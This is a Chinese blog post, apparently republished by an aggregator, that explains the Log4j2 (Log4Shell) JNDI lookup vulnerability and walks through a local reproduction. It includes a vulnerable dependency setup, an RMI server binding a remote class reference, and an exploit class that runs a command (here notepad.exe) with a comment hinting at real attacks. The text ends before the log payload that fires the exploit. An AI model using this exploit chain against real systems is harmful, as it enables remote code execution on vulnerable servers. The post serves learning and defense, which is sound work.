风靡IT圈的史诗级漏洞log4j2的产生原理及复现

Posted 2022-01-04 肝铁侠

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了风靡IT圈的史诗级漏洞log4j2的产生原理及复现相关的知识，希望对你有一定的参考价值。

文章目录

前言

注：本文仅供参考学习，不构成任何犯罪引导

相信就在最近两天，不少IT圈的都在因为Log4j2，忙前忙后排查项目吧？

写JAVA的都知道，Log4j是用来记录日志的，它的覆盖率之广以至于此次受影响的范围可以说是核弹级别的影响了。

这个漏洞其实是取决于Log4j的一种Lookup机制，就是当我们做日志输出，出现占位符的时候，通过一些特殊的命令符号，可以执行一些程序代码。

接下来我们就来复现所谓的Log4j2是如何执行攻击的，这里博主用本地的项目来给大家复现一下。

环境准备

由于博主的本地项目springBoot版本会自动引入spring-boot-starter-logging依赖，首先我们要对其去除，如下：

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
            <exclusions>
                <exclusion>
                    <groupId>org.springframework.boot</groupId>
                    <artifactId>spring-boot-starter-logging</artifactId>
                </exclusion>
            </exclusions>
        </dependency>

其次是引入我们的Log4j依赖包，注：受影响的范围为Apache Log4j 2.x <= 2.14.1

        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.13.3</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.13.3</version>
        </dependency>

其次，配置我们的Log4j.xml，就是一个最简单的输出配置，代码如下：

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <ThresholdFilter level="info" onMatch="ACCEPT" onMismatch="ACCEPT"/>
            <PatternLayout pattern="%dyyyy-MM-dd HH:mm:ss.sss %-5level %L %M - %msg%xEx%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <logger name="com.example" lecel="info"/>
        <root level="info">
            <AppenderRef ref="Console"/>
        </root>
    </Loggers>
</Configuration>

至此漏洞的执行环境就已经配置完毕了。

攻击代码准备

一、攻击服务准备

博主在本地新建一个项目，并编写如下代码，编写完毕以后执行即可。

    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException 
        Registry registry = LocateRegistry.createRegistry(1099);

        Reference reference = new Reference("Attack","Attack","http://127.0.0.1:80/");

        ReferenceWrapper wrapper = new ReferenceWrapper(reference);

        registry.bind("obj",wrapper);

        System.out.println("server is running");

如上代码块中Attack就是我们要执行的攻击代码。

启动完成以后就可以一直挂载我们待会使用。

二、攻击代码准备

攻击代码Attack是一个被编译好了的Java文件，也就是一个Class文件。

我们将编译好的攻击class文件放在nginx目录下，纯编译文件，不带你IDEA的路径。如下图：

攻击代码如下，不做真正的攻击，就简单打开一个记事本。代码如下：

public class Attack implements ObjectFactory

	public Attack()
	
	public Object getObjectInstance(Object obj, Name name, Context context, Hashtable hashtable) throws Exception
		System.out.println("I am coming...");
		
		// 打开本地记事本
		// 实际攻击行为就不用我多说了，大家可以自行脑补
		Process process = Runtime.getRuntime().exec("notepad.exe");
		
		return null;